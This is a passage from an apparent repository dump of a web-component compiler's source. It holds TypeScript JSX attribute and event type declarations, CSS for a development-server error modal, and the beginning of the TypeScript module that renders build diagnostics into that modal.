HTMLAttributes<T> {\n    reversed?: boolean;\n    start?: number;\n  }\n\n  export interface OptgroupHTMLAttributes<T> extends HTMLAttributes<T> {\n    disabled?: boolean;\n    label?: string;\n  }\n\n  export interface OptionHTMLAttributes<T> extends HTMLAttributes<T> {\n    disabled?: boolean;\n    label?: string;\n    selected?: boolean;\n    value?: string | string[] | number;\n  }\n\n  export interface OutputHTMLAttributes<T> extends HTMLAttributes<T> {\n    form?: string;\n    htmlFor?: string;\n    name?: string;\n  }\n\n  export interface ParamHTMLAttributes<T> extends HTMLAttributes<T> {\n    name?: string;\n    value?: string | string[] | number;\n  }\n\n  export interface ProgressHTMLAttributes<T> extends HTMLAttributes<T> {\n    max?: number | string;\n    value?: string | string[] | number;\n  }\n\n  export interface ScriptHTMLAttributes<T> extends HTMLAttributes<T> {\n    async?: boolean;\n    charSet?: string;\n    charset?: string;\n    crossOrigin?: string;\n    crossorigin?: string;\n    defer?: boolean;\n    importance?: 'low' | 'auto' | 'high';\n    integrity?: string;\n    nonce?: string;\n    src?: string;\n    type?: string;\n  }\n\n  export interface SelectHTMLAttributes<T> extends HTMLAttributes<T> {\n    disabled?: boolean;\n    form?: string;\n    multiple?: boolean;\n    name?: string;\n    required?: boolean;\n    size?: number;\n    autoComplete?: string;\n    autocomplete?: string;\n  }\n\n  export interface SourceHTMLAttributes<T> extends HTMLAttributes<T> {\n    height?: number;\n    media?: string;\n    sizes?: string;\n    src?: string;\n    srcSet?: string;\n    type?: string;\n    width?: number;\n  }\n\n  export interface StyleHTMLAttributes<T> extends HTMLAttributes<T> {\n    media?: string;\n    nonce?: string;\n    scoped?: boolean;\n    type?: string;\n  }\n\n  export interface TableHTMLAttributes<T> extends HTMLAttributes<T> {\n    cellPadding?: number | string;\n    cellpadding?: number | string;\n    cellSpacing?: number | string;\n    cellspacing?: number | string;\n    summary?: string;\n  }\n\n  export interface TextareaHTMLAttributes<T> extends HTMLAttributes<T> {\n    autoComplete?: string;\n    autocomplete?: string;\n    cols?: number;\n    disabled?: boolean;\n    form?: string;\n    maxLength?: number;\n    maxlength?: number | string;\n    minLength?: number;\n    minlength?: number | string;\n    name?: string;\n    onSelect?: (event: Event) => void;\n    onselect?: (event: Event) => void;\n    placeholder?: string;\n    readOnly?: boolean;\n    readonly?: boolean | string;\n    required?: boolean;\n    rows?: number;\n    value?: string | string[] | number;\n    wrap?: string;\n  }\n\n  export interface TdHTMLAttributes<T> extends HTMLAttributes<T> {\n    colSpan?: number;\n    headers?: string;\n    rowSpan?: number;\n  }\n\n  export interface ThHTMLAttributes<T> extends HTMLAttributes<T> {\n    abbr?: string;\n    colSpan?: number;\n    headers?: string;\n    rowSpan?: number;\n    rowspan?: number | string;\n    scope?: string;\n  }\n\n  export interface TimeHTMLAttributes<T> extends HTMLAttributes<T> {\n    dateTime?: string;\n  }\n\n  export interface TrackHTMLAttributes<T> extends HTMLAttributes<T> {\n    default?: boolean;\n    kind?: string;\n    label?: string;\n    src?: string;\n    srcLang?: string;\n    srclang?: string;\n  }\n\n  export interface VideoHTMLAttributes<T> extends MediaHTMLAttributes<T> {\n    height?: number | string;\n    playsInline?: boolean;\n    playsinline?: boolean | string;\n    poster?: string;\n    width?: number | string;\n  }\n\n  export interface HTMLAttributes<T = HTMLElement> extends DOMAttributes<T> {\n    // vdom specific\n    innerHTML?: string;\n\n    // Standard HTML Attributes\n    accessKey?: string;\n    autoFocus?: boolean;\n    autofocus?: boolean | string;\n    class?: string | { [className: string]: boolean };\n    contentEditable?: boolean | string;\n    contenteditable?: boolean | string;\n    contextMenu?: string;\n    contextmenu?: string;\n    dir?: string;\n    draggable?: boolean;\n    hidden?: boolean;\n    id?: string;\n    inert?: boolean;\n    lang?: string;\n    spellcheck?: 'true' | 'false' | any;\n    style?: { [key: string]: string | undefined };\n    tabIndex?: number;\n    tabindex?: number | string;\n    title?: string;\n    // These types don't allow you to use popover as a boolean attribute\n    // so you can't write HTML like `<div popover>` and get the default value.\n    // Developer must explicitly specify one of the valid popover values or it will fallback\n    // to `manual` (following the HTML spec).\n    popover?: string | null;\n\n    // Unknown\n    inputMode?: string;\n    inputmode?: string;\n    enterKeyHint?: string;\n    enterkeyhint?: string;\n    is?: string;\n    radioGroup?: string; // <command>, <menuitem>\n    radiogroup?: string;\n\n    // WAI-ARIA\n    role?: string;\n\n    // RDFa Attributes\n    about?: string;\n    datatype?: string;\n    inlist?: any;\n    prefix?: string;\n    property?: string;\n    resource?: string;\n    typeof?: string;\n    vocab?: string;\n\n    // Non-standard Attributes\n    autoCapitalize?: string;\n    autocapitalize?: string;\n    autoCorrect?: string;\n    autocorrect?: string;\n    autoSave?: string;\n    autosave?: string;\n    color?: string;\n    itemProp?: string;\n    itemprop?: string;\n    itemScope?: boolean;\n    itemscope?: boolean;\n    itemType?: string;\n    itemtype?: string;\n    itemID?: string;\n    itemid?: string;\n    itemRef?: string;\n    itemref?: string;\n    results?: number;\n    security?: string;\n    unselectable?: boolean;\n  }\n\n  export interface SVGAttributes<T = SVGElement> extends DOMAttributes<T> {\n    // Attributes which also defined in HTMLAttributes\n    class?: string | { [className: string]: boolean };\n    color?: string;\n    height?: number | string;\n    id?: string;\n    lang?: string;\n    max?: number | string;\n    media?: string;\n    method?: string;\n    min?: number | string;\n    name?: string;\n    style?: { [key: string]: string | undefined };\n    target?: string;\n    type?: string;\n    width?: number | string;\n\n    // Other HTML properties supported by SVG elements in browsers\n    role?: string;\n    tabindex?: number;\n\n    // SVG Specific attributes\n    'accent-height'?: number | string;\n    accumulate?: 'none' | 'sum';\n    additive?: 'replace' | 'sum';\n    'alignment-baseline'?:\n      | 'auto'\n      | 'baseline'\n      | 'before-edge'\n      | 'text-before-edge'\n      | 'middle'\n      | 'central'\n      | 'after-edge'\n      | 'text-after-edge'\n      | 'ideographic'\n      | 'alphabetic'\n      | 'hanging'\n      | 'mathematical'\n      | 'inherit';\n    allowReorder?: 'no' | 'yes';\n    alphabetic?: number | string;\n    amplitude?: number | string;\n    'arabic-form'?: 'initial' | 'medial' | 'terminal' | 'isolated';\n    ascent?: number | string;\n    attributeName?: string;\n    attributeType?: string;\n    autoReverse?: number | string;\n    azimuth?: number | string;\n    baseFrequency?: number | string;\n    'baseline-shift'?: number | string;\n    baseProfile?: number | string;\n    bbox?: number | string;\n    begin?: number | string;\n    bias?: number | string;\n    by?: number | string;\n    calcMode?: number | string;\n    'cap-height'?: number | string;\n    clip?: number | string;\n    'clip-path'?: string;\n    clipPathUnits?: number | string;\n    'clip-rule'?: number | string;\n    'color-interpolation'?: number | string;\n    'color-interpolation-filters'?: 'auto' | 'sRGB' | 'linearRGB';\n    'color-profile'?: number | string;\n    'color-rendering'?: number | string;\n    contentScriptType?: number | string;\n    contentStyleType?: number | string;\n    cursor?: number | string;\n    cx?: number | string;\n    cy?: number | string;\n    d?: string;\n    decelerate?: number | string;\n    descent?: number | string;\n    diffuseConstant?: number | string;\n    direction?: number | string;\n    display?: number | string;\n    divisor?: number | string;\n    'dominant-baseline'?: number | string;\n    dur?: number | string;\n    dx?: number | string;\n    dy?: number | string;\n    'edge-mode'?: number | string;\n    elevation?: number | string;\n    'enable-background'?: number | string;\n    end?: number | string;\n    exponent?: number | string;\n    externalResourcesRequired?: number | string;\n    fill?: string;\n    'fill-opacity'?: number | string;\n    'fill-rule'?: 'nonzero' | 'evenodd' | 'inherit';\n    filter?: string;\n    filterRes?: number | string;\n    filterUnits?: number | string;\n    'flood-color'?: number | string;\n    'flood-opacity'?: number | string;\n    focusable?: number | string;\n    'font-family'?: string;\n    'font-size'?: number | string;\n    'font-size-adjust'?: number | string;\n    'font-stretch'?: number | string;\n    'font-style'?: number | string;\n    'font-variant'?: number | string;\n    'font-weight'?: number | string;\n    format?: number | string;\n    from?: number | string;\n    fx?: number | string;\n    fy?: number | string;\n    g1?: number | string;\n    g2?: number | string;\n    'glyph-name'?: number | string;\n    'glyph-orientation-horizontal'?: number | string;\n    'glyph-orientation-vertical'?: number | string;\n    glyphRef?: number | string;\n    gradientTransform?: string;\n    gradientUnits?: string;\n    hanging?: number | string;\n    'horiz-adv-x'?: number | string;\n    'horiz-origin-x'?: number | string;\n    href?: string;\n    ideographic?: number | string;\n    'image-rendering'?: number | string;\n    in2?: number | string;\n    in?: string;\n    intercept?: number | string;\n    k1?: number | string;\n    k2?: number | string;\n    k3?: number | string;\n    k4?: number | string;\n    k?: number | string;\n    kernelMatrix?: number | string;\n    kernelUnitLength?: number | string;\n    kerning?: number | string;\n    keyPoints?: number | string;\n    keySplines?: number | string;\n    keyTimes?: number | string;\n    lengthAdjust?: number | string;\n    'letter-spacing'?: number | string;\n    'lighting-color'?: number | string;\n    limitingConeAngle?: number | string;\n    local?: number | string;\n    'marker-end'?: string;\n    markerHeight?: number | string;\n    'marker-mid'?: string;\n    'marker-start'?: string;\n    markerUnits?: number | string;\n    markerWidth?: number | string;\n    mask?: string;\n    maskContentUnits?: number | string;\n    maskUnits?: number | string;\n    mathematical?: number | string;\n    mode?: number | string;\n    numOctaves?: number | string;\n    offset?: number | string;\n    opacity?: number | string;\n    operator?: number | string;\n    order?: number | string;\n    orient?: number | string;\n    orientation?: number | string;\n    origin?: number | string;\n    overflow?: number | string;\n    'overline-position'?: number | string;\n    'overline-thickness'?: number | string;\n    'paint-order'?: number | string;\n    panose1?: number | string;\n    pathLength?: number | string;\n    patternContentUnits?: string;\n    patternTransform?: number | string;\n    patternUnits?: string;\n    'pointer-events'?: number | string;\n    points?: string;\n    pointsAtX?: number | string;\n    pointsAtY?: number | string;\n    pointsAtZ?: number | string;\n    preserveAlpha?: number | string;\n    preserveAspectRatio?: string;\n    primitiveUnits?: number | string;\n    r?: number | string;\n    radius?: number | string;\n    refX?: number | string;\n    refY?: number | string;\n    'rendering-intent'?: number | string;\n    repeatCount?: number | string;\n    repeatDur?: number | string;\n    requiredextensions?: number | string;\n    requiredFeatures?: number | string;\n    restart?: number | string;\n    result?: string;\n    rotate?: number | string;\n    rx?: number | string;\n    ry?: number | string;\n    scale?: number | string;\n    seed?: number | string;\n    'shape-rendering'?: number | string;\n    slope?: number | string;\n    spacing?: number | string;\n    specularConstant?: number | string;\n    specularExponent?: number | string;\n    speed?: number | string;\n    spreadMethod?: string;\n    startOffset?: number | string;\n    stdDeviation?: number | string;\n    stemh?: number | string;\n    stemv?: number | string;\n    stitchTiles?: number | string;\n    'stop-color'?: string;\n    'stop-opacity'?: number | string;\n    'strikethrough-position'?: number | string;\n    'strikethrough-thickness'?: number | string;\n    string?: number | string;\n    stroke?: string;\n    'stroke-dasharray'?: string | number;\n    'stroke-dashoffset'?: string | number;\n    'stroke-linecap'?: 'butt' | 'round' | 'square' | 'inherit';\n    'stroke-linejoin'?: 'miter' | 'round' | 'bevel' | 'inherit';\n    'stroke-miterlimit'?: string;\n    'stroke-opacity'?: number | string;\n    'stroke-width'?: number | string;\n    surfaceScale?: number | string;\n    systemLanguage?: number | string;\n    tableValues?: number | string;\n    targetX?: number | string;\n    targetY?: number | string;\n    'text-anchor'?: string;\n    'text-decoration'?: number | string;\n    textLength?: number | string;\n    'text-rendering'?: number | string;\n    to?: number | string;\n    transform?: string;\n    u1?: number | string;\n    u2?: number | string;\n    'underline-position'?: number | string;\n    'underline-thickness'?: number | string;\n    unicode?: number | string;\n    'unicode-bidi'?: number | string;\n    'unicode-range'?: number | string;\n    'units-per-em'?: number | string;\n    'v-alphabetic'?: number | string;\n    values?: string;\n    'vector-effect'?: number | string;\n    version?: string;\n    'vert-adv-y'?: number | string;\n    'vert-origin-x'?: number | string;\n    'vert-origin-y'?: number | string;\n    'v-hanging'?: number | string;\n    'v-ideographic'?: number | string;\n    viewBox?: string;\n    viewTarget?: number | string;\n    visibility?: number | string;\n    'v-mathematical'?: number | string;\n    widths?: number | string;\n    'word-spacing'?: number | string;\n    'writing-mode'?: number | string;\n    x1?: number | string;\n    x2?: number | string;\n    x?: number | string;\n    'x-channel-selector'?: string;\n    'x-height'?: number | string;\n    xlinkActuate?: string;\n    xlinkArcrole?: string;\n    xlinkHref?: string;\n    xlinkRole?: string;\n    xlinkShow?: string;\n    xlinkTitle?: string;\n    xlinkType?: string;\n    xmlBase?: string;\n    xmlLang?: string;\n    xmlns?: string;\n    xmlSpace?: string;\n    y1?: number | string;\n    y2?: number | string;\n    y?: number | string;\n    yChannelSelector?: string;\n    z?: number | string;\n    zoomAndPan?: string;\n  }\n\n  /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ToggleEvent) */\n  export interface ToggleEvent extends Event {\n    /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ToggleEvent/newState) */\n    readonly newState: string;\n    /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ToggleEvent/oldState) */\n    readonly oldState: string;\n  }\n\n  export interface DOMAttributes<T> extends JSXAttributes<T> {\n    slot?: string;\n    part?: string;\n    exportparts?: string;\n\n    // Clipboard Events\n    onCopy?: (event: ClipboardEvent) => void;\n    onCopyCapture?: (event: ClipboardEvent) => void;\n    onCut?: (event: ClipboardEvent) => void;\n    onCutCapture?: (event: ClipboardEvent) => void;\n    onPaste?: (event: ClipboardEvent) => void;\n    onPasteCapture?: (event: ClipboardEvent) => void;\n\n    // Composition Events\n    onCompositionend?: (event: CompositionEvent) => void;\n    onCompositionendCapture?: (event: CompositionEvent) => void;\n    onCompositionstart?: (event: CompositionEvent) => void;\n    onCompositionstartCapture?: (event: CompositionEvent) => void;\n    onCompositionupdate?: (event: CompositionEvent) => void;\n    onCompositionupdateCapture?: (event: CompositionEvent) => void;\n\n    // Disclosure Events\n    onBeforeToggle?: (event: ToggleEvent) => void;\n    onBeforeToggleCapture?: (event: ToggleEvent) => void;\n    onToggle?: (event: ToggleEvent) => void;\n    onToggleCapture?: (event: ToggleEvent) => void;\n\n    // Focus Events\n    onFocus?: (event: FocusEvent) => void;\n    onFocusCapture?: (event: FocusEvent) => void;\n    onFocusin?: (event: FocusEvent) => void;\n    onFocusinCapture?: (event: FocusEvent) => void;\n    onFocusout?: (event: FocusEvent) => void;\n    onFocusoutCapture?: (event: FocusEvent) => void;\n    onBlur?: (event: FocusEvent) => void;\n    onBlurCapture?: (event: FocusEvent) => void;\n\n    // Form Events\n    onChange?: (event: Event) => void;\n    onChangeCapture?: (event: Event) => void;\n    onInput?: (event: InputEvent) => void;\n    onInputCapture?: (event: InputEvent) => void;\n    onReset?: (event: Event) => void;\n    onResetCapture?: (event: Event) => void;\n    onSubmit?: (event: Event) => void;\n    onSubmitCapture?: (event: Event) => void;\n    onInvalid?: (event: Event) => void;\n    onInvalidCapture?: (event: Event) => void;\n\n    // Image Events\n    onLoad?: (event: Event) => void;\n    onLoadCapture?: (event: Event) => void;\n    onError?: (event: Event) => void; // also a Media Event\n    onErrorCapture?: (event: Event) => void; // also a Media Event\n\n    // Keyboard Events\n    onKeyDown?: (event: KeyboardEvent) => void;\n    onKeyDownCapture?: (event: KeyboardEvent) => void;\n    onKeyPress?: (event: KeyboardEvent) => void;\n    onKeyPressCapture?: (event: KeyboardEvent) => void;\n    onKeyUp?: (event: KeyboardEvent) => void;\n    onKeyUpCapture?: (event: KeyboardEvent) => void;\n\n    // MouseEvents\n    onAuxClick?: (event: MouseEvent) => void;\n    onClick?: (event: PointerEvent) => void;\n    onClickCapture?: (event: MouseEvent) => void;\n    onContextMenu?: (event: MouseEvent) => void;\n    onContextMenuCapture?: (event: MouseEvent) => void;\n    onDblClick?: (event: MouseEvent) => void;\n    onDblClickCapture?: (event: MouseEvent) => void;\n    onDrag?: (event: DragEvent) => void;\n    onDragCapture?: (event: DragEvent) => void;\n    onDragEnd?: (event: DragEvent) => void;\n    onDragEndCapture?: (event: DragEvent) => void;\n    onDragEnter?: (event: DragEvent) => void;\n    onDragEnterCapture?: (event: DragEvent) => void;\n    onDragExit?: (event: DragEvent) => void;\n    onDragExitCapture?: (event: DragEvent) => void;\n    onDragLeave?: (event: DragEvent) => void;\n    onDragLeaveCapture?: (event: DragEvent) => void;\n    onDragOver?: (event: DragEvent) => void;\n    onDragOverCapture?: (event: DragEvent) => void;\n    onDragStart?: (event: DragEvent) => void;\n    onDragStartCapture?: (event: DragEvent) => void;\n    onDrop?: (event: DragEvent) => void;\n    onDropCapture?: (event: DragEvent) => void;\n    onMouseDown?: (event: MouseEvent) => void;\n    onMouseDownCapture?: (event: MouseEvent) => void;\n    onMouseEnter?: (event: MouseEvent) => void;\n    onMouseLeave?: (event: MouseEvent) => void;\n    onMouseMove?: (event: MouseEvent) => void;\n    onMouseMoveCapture?: (event: MouseEvent) => void;\n    onMouseOut?: (event: MouseEvent) => void;\n    onMouseOutCapture?: (event: MouseEvent) => void;\n    onMouseOver?: (event: MouseEvent) => void;\n    onMouseOverCapture?: (event: MouseEvent) => void;\n    onMouseUp?: (event: MouseEvent) => void;\n    onMouseUpCapture?: (event: MouseEvent) => void;\n\n    // Touch Events\n    onTouchCancel?: (event: TouchEvent) => void;\n    onTouchCancelCapture?: (event: TouchEvent) => void;\n    onTouchEnd?: (event: TouchEvent) => void;\n    onTouchEndCapture?: (event: TouchEvent) => void;\n    onTouchMove?: (event: TouchEvent) => void;\n    onTouchMoveCapture?: (event: TouchEvent) => void;\n    onTouchStart?: (event: TouchEvent) => void;\n    onTouchStartCapture?: (event: TouchEvent) => void;\n\n    // Pointer Events\n    onPointerDown?: (event: PointerEvent) => void;\n    onPointerDownCapture?: (event: PointerEvent) => void;\n    onPointerMove?: (event: PointerEvent) => void;\n    onPointerMoveCapture?: (event: PointerEvent) => void;\n    onPointerUp?: (event: PointerEvent) => void;\n    onPointerUpCapture?: (event: PointerEvent) => void;\n    onPointerCancel?: (event: PointerEvent) => void;\n    onPointerCancelCapture?: (event: PointerEvent) => void;\n    onPointerEnter?: (event: PointerEvent) => void;\n    onPointerEnterCapture?: (event: PointerEvent) => void;\n    onPointerLeave?: (event: PointerEvent) => void;\n    onPointerLeaveCapture?: (event: PointerEvent) => void;\n    onPointerOver?: (event: PointerEvent) => void;\n    onPointerOverCapture?: (event: PointerEvent) => void;\n    onPointerOut?: (event: PointerEvent) => void;\n    onPointerOutCapture?: (event: PointerEvent) => void;\n    onGotPointerCapture?: (event: PointerEvent) => void;\n    onGotPointerCaptureCapture?: (event: PointerEvent) => void;\n    onLostPointerCapture?: (event: PointerEvent) => void;\n    onLostPointerCaptureCapture?: (event: PointerEvent) => void;\n\n    // UI Events\n    onScroll?: (event: UIEvent) => void;\n    onScrollCapture?: (event: UIEvent) => void;\n\n    // Wheel Events\n    onWheel?: (event: WheelEvent) => void;\n    onWheelCapture?: (event: WheelEvent) => void;\n\n    // Animation Events\n    onAnimationStart?: (event: AnimationEvent) => void;\n    onAnimationStartCapture?: (event: AnimationEvent) => void;\n    onAnimationEnd?: (event: AnimationEvent) => void;\n    onAnimationEndCapture?: (event: AnimationEvent) => void;\n    onAnimationIteration?: (event: AnimationEvent) => void;\n    onAnimationIterationCapture?: (event: AnimationEvent) => void;\n\n    // Transition Events\n    onTransitionCancel?: (event: TransitionEvent) => void;\n    onTransitionCancelCapture?: (event: TransitionEvent) => void;\n    onTransitionEnd?: (event: TransitionEvent) => void;\n    onTransitionEndCapture?: (event: TransitionEvent) => void;\n    onTransitionRun?: (event: TransitionEvent) => void;\n    onTransitionRunCapture?: (event: TransitionEvent) => void;\n    onTransitionStart?: (event: TransitionEvent) => void;\n    onTransitionStartCapture?: (event: TransitionEvent) => void;\n\n    // WAI-ARIA Attributes\n    [key: `aria-${string}`]: string | boolean | undefined;\n    [key: `aria${string}`]: string | boolean | undefined;\n  }\n}\n\nexport interface JSXAttributes<T = Element> {\n  // vdom specific\n  key?: string | number;\n  ref?: (elm?: T) => void;\n}\n\nexport interface CustomElementsDefineOptions {\n  exclude?: string[];\n  resourcesUrl?: string;\n  syncQueue?: boolean;\n  /** @deprecated in-favour of `setTagTransformer` and `transformTag` */\n  transformTagName?: (tagName: string) => string;\n  jmp?: (c: Function) => any;\n  raf?: (c: FrameRequestCallback) => number;\n  ael?: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  rel?: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  ce?: (eventName: string, opts?: any) => CustomEvent;\n}\n"
  },
  {
    "path": "src/dev-server/client/app-error.css",
    "content": "#dev-server-modal * {\n  box-sizing: border-box !important;\n}\n\n#dev-server-modal {\n  direction: ltr !important;\n  display: block !important;\n  position: absolute !important;\n  top: 0 !important;\n  right: 0 !important;\n  bottom: 0 !important;\n  left: 0 !important;\n  z-index: 100000;\n  margin: 0 !important;\n  padding: 0 !important;\n  font-family: -apple-system, 'Roboto', BlinkMacSystemFont, 'Segoe UI', 'Helvetica Neue', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol' !important;\n  font-size: 14px !important;\n  line-height: 1.5 !important;\n  -webkit-font-smoothing: antialiased;\n  text-rendering: optimizeLegibility;\n  text-size-adjust: none;\n  word-wrap: break-word;\n  color: #333 !important;\n  background-color: white !important;\n  box-sizing: border-box !important;\n  overflow: hidden;\n  user-select: auto;\n}\n\n#dev-server-modal-inner {\n  position: relative !important;\n  padding: 0 0 30px 0 !important;\n  width: 100% !important;\n  height: 100%;\n  overflow-x: hidden;\n  overflow-y: scroll;\n  -webkit-overflow-scrolling: touch;\n}\n\n.dev-server-diagnostic {\n  margin: 20px !important;\n  border: 1px solid #ddd !important;\n  border-radius: 3px !important;\n}\n\n.dev-server-diagnostic-masthead {\n  padding: 8px 12px 12px 12px !important;\n}\n\n.dev-server-diagnostic-title {\n  margin: 0 !important;\n  font-weight: bold !important;\n  color: #222 !important;\n}\n\n.dev-server-diagnostic-message {\n  margin-top: 4px !important;\n  color: #555 !important;\n}\n\n.dev-server-diagnostic-file {\n  position: relative !important;\n  border-top: 1px solid #ddd !important;\n}\n\n.dev-server-diagnostic-file-header {\n  display: block !important;\n  padding: 5px 10px !important;\n  color: #555 !important;\n  border-bottom: 1px solid #ddd !important;\n  border-top-left-radius: 2px !important;\n  border-top-right-radius: 2px !important;\n  background-color: #f9f9f9 !important;\n  font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;\n  font-size: 12px !important;\n}\n\na.dev-server-diagnostic-file-header {\n  color: #0000ee !important;\n  text-decoration: underline !important;\n}\n\na.dev-server-diagnostic-file-header:hover {\n  text-decoration: none !important;\n  background-color: #f4f4f4 !important;\n}\n\n.dev-server-diagnostic-file-name {\n  font-weight: bold !important;\n}\n\n.dev-server-diagnostic-blob {\n  overflow-x: auto !important;\n  overflow-y: hidden !important;\n  border-bottom-right-radius: 3px !important;\n  border-bottom-left-radius: 3px !important;\n}\n\n.dev-server-diagnostic-table {\n  margin: 0 !important;\n  padding: 0 !important;\n  border-spacing: 0 !important;\n  border-collapse: collapse !important;\n  border-width: 0 !important;\n  border-style: none !important;\n  -moz-tab-size: 2;\n  tab-size: 2;\n}\n\n.dev-server-diagnostic-table td,\n.dev-server-diagnostic-table th {\n  padding: 0 !important;\n  border-width: 0 !important;\n  border-style: none !important;\n}\n\ntd.dev-server-diagnostic-blob-num {\n  padding-right: 10px !important;\n  padding-left: 10px !important;\n  width: 1% !important;\n  min-width: 50px !important;\n  font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;\n  font-size: 12px !important;\n  line-height: 20px !important;\n  color: rgba(0, 0, 0, 0.3) !important;\n  text-align: right !important;\n  white-space: nowrap !important;\n  vertical-align: top !important;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  border: solid #eee !important;\n  border-width: 0 1px 0 0 !important;\n}\n\ntd.dev-server-diagnostic-blob-num::before {\n  content: attr(data-line-number) !important;\n}\n\n.dev-server-diagnostic-error-line td.dev-server-diagnostic-blob-num {\n  background-color: #ffdddd !important;\n  border-color: #ffc9c9 !important;\n}\n\n.dev-server-diagnostic-error-line td.dev-server-diagnostic-blob-code {\n  background: rgba(255, 221, 221, 0.25) !important;\n  z-index: -1;\n}\n\n.dev-server-diagnostic-open-in-editor td.dev-server-diagnostic-blob-num:hover {\n  cursor: pointer;\n  background-color: #ffffe3 !important;\n  font-weight: bold;\n}\n\n.dev-server-diagnostic-open-in-editor.dev-server-diagnostic-error-line td.dev-server-diagnostic-blob-num:hover {\n  background-color: #ffdada !important;\n}\n\ntd.dev-server-diagnostic-blob-code {\n  position: relative !important;\n  padding-right: 10px !important;\n  padding-left: 10px !important;\n  line-height: 20px !important;\n  vertical-align: top !important;\n  overflow: visible !important;\n  font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;\n  font-size: 12px !important;\n  color: #333 !important;\n  word-wrap: normal !important;\n  white-space: pre !important;\n}\n\ntd.dev-server-diagnostic-blob-code::before {\n  content: '' !important;\n}\n\n.dev-server-diagnostic-error-chr {\n  position: relative !important;\n}\n\n.dev-server-diagnostic-error-chr::before {\n  position: absolute !important;\n  z-index: -1;\n  top: -3px !important;\n  left: 0px !important;\n  width: 8px !important;\n  height: 20px !important;\n  background-color: #ffdddd !important;\n  content: '' !important;\n}\n\n/**\n * GitHub Gist Theme\n * Author : Louis Barranqueiro - https://github.com/LouisBarranqueiro\n * https://highlightjs.org/\n */\n.hljs-comment,\n.hljs-meta {\n  color: #969896;\n}\n\n.hljs-string,\n.hljs-variable,\n.hljs-template-variable,\n.hljs-strong,\n.hljs-emphasis,\n.hljs-quote {\n  color: #df5000;\n}\n\n.hljs-keyword,\n.hljs-selector-tag,\n.hljs-type {\n  color: #a71d5d;\n}\n\n.hljs-literal,\n.hljs-symbol,\n.hljs-bullet,\n.hljs-attribute {\n  color: #0086b3;\n}\n\n.hljs-section,\n.hljs-name {\n  color: #63a35c;\n}\n\n.hljs-tag {\n  color: #333333;\n}\n\n.hljs-title,\n.hljs-attr,\n.hljs-selector-id,\n.hljs-selector-class,\n.hljs-selector-attr,\n.hljs-selector-pseudo {\n  color: #795da3;\n}\n\n.hljs-addition {\n  color: #55a532;\n  background-color: #eaffea;\n}\n\n.hljs-deletion {\n  color: #bd2c00;\n  background-color: #ffecec;\n}\n\n.hljs-link {\n  text-decoration: underline;\n}\n"
  },
  {
    "path": "src/dev-server/client/app-error.ts",
    "content": "import type { CompilerBuildResults, Diagnostic, PrintLine } from '../../declarations';\nimport appErrorCss from './app-error.css';\n\ninterface AppErrorData {\n  window: Window;\n  buildResults: any;\n  openInEditor?: OpenInEditorCallback;\n}\n\ntype OpenInEditorCallback = (data: { file: string; line: number; column: number }) => void;\n\ninterface AppErrorResults {\n  diagnostics: Diagnostic[];\n  status: null | string;\n}\n\nexport const appError = (data: AppErrorData): AppErrorResults => {\n  const results: AppErrorResults = {\n    diagnostics: [] as Diagnostic[],\n    status: null,\n  };\n\n  if (data && data.window && Array.isArray(data.buildResults.diagnostics)) {\n    const diagnostics = (data.buildResults as CompilerBuildResults).diagnostics.filter(\n      (diagnostic) => diagnostic.level === 'error',\n    );\n\n    if (diagnostics.length > 0) {\n      const modal = getDevServerModal(data.window.document);\n\n      diagnostics.forEach((diagnostic: Diagnostic) => {\n        results.diagnostics.push(diagnostic);\n        appendDiagnostic(data.window.document, data.openInEditor, modal, diagnostic);\n      });\n\n      results.status = 'error';\n    }\n  }\n\n  return results;\n};\n\nconst appendDiagnostic = (\n  doc: Document,\n  openInEditor: OpenInEditorCallback | undefined,\n  modal: HTMLElement,\n  diagnostic: Diagnostic,\n) => {\n  const card = doc.createElement('div');\n  card.className = 'dev-server-diagnostic';\n\n  const masthead = doc.createElement('div');\n  masthead.className = 'dev-server-diagnostic-masthead';\n  masthead.title = `${escapeHtml(diagnostic.type)} error: ${escapeHtml(diagnostic.code ?? 'unknown error')}`;\n  card.appendChild(masthead);\n\n  const title = doc.createElement('div');\n  title.className = 'dev-server-diagnostic-title';\n  if (typeof diagnostic.header === 'string' && diagnostic.header.trim().length > 0) {\n    title.textContent = diagnostic.header;\n  } else {\n    title.textContent = `${titleCase(diagnostic.type)} ${titleCase(diagnostic.level)}`;\n  }\n  masthead.appendChild(title);\n\n  const message = doc.createElement('div');\n  message.className = 'dev-server-diagnostic-message';\n  message.textContent = diagnostic.messageText;\n  masthead.appendChild(message);\n\n  const file = doc.createElement('div');\n  file.className = 'dev-server-diagnostic-file';\n  card.appendChild(file);\n\n  const isUrl = typeof diagnostic.absFilePath === 'string' && diagnostic.absFilePath.indexOf('http') === 0;\n  const canOpenInEditor = typeof openInEditor === 'function' && typeof diagnostic.absFilePath === 'string' && !isUrl;\n\n  if (isUrl) {\n    const fileHeader = doc.createElement('a');\n    fileHeader.href = diagnostic.absFilePath ?? '';\n    fileHeader.setAttribute('target', '_blank');\n    fileHeader.setAttribute('rel', 'noopener noreferrer');\n    fileHeader.className = 'dev-server-diagnostic-file-header';\n\n    const filePath = doc.createElement('span');\n    filePath.className = 'dev-server-diagnostic-file-path';\n    filePath.textContent = diagnostic.absFilePath ?? '';\n\n    fileHeader.appendChild(filePath);\n    file.appendChild(fileHeader);\n  } else if (diagnostic.relFilePath) {\n    const fileHeader = doc.createElement(canOpenInEditor ? 'a' : 'div');\n    fileHeader.className = 'dev-server-diagnostic-file-header';\n\n    if (diagnostic.absFilePath) {\n      fileHeader.title = escapeHtml(diagnostic.absFilePath);\n\n      if (canOpenInEditor) {\n        addOpenInEditor(\n          openInEditor,\n          fileHeader,\n          diagnostic.absFilePath,\n          diagnostic.lineNumber,\n          diagnostic.columnNumber,\n        );\n      }\n    }\n\n    const parts = diagnostic.relFilePath.split('/');\n\n    const fileName = doc.createElement('span');\n    fileName.className = 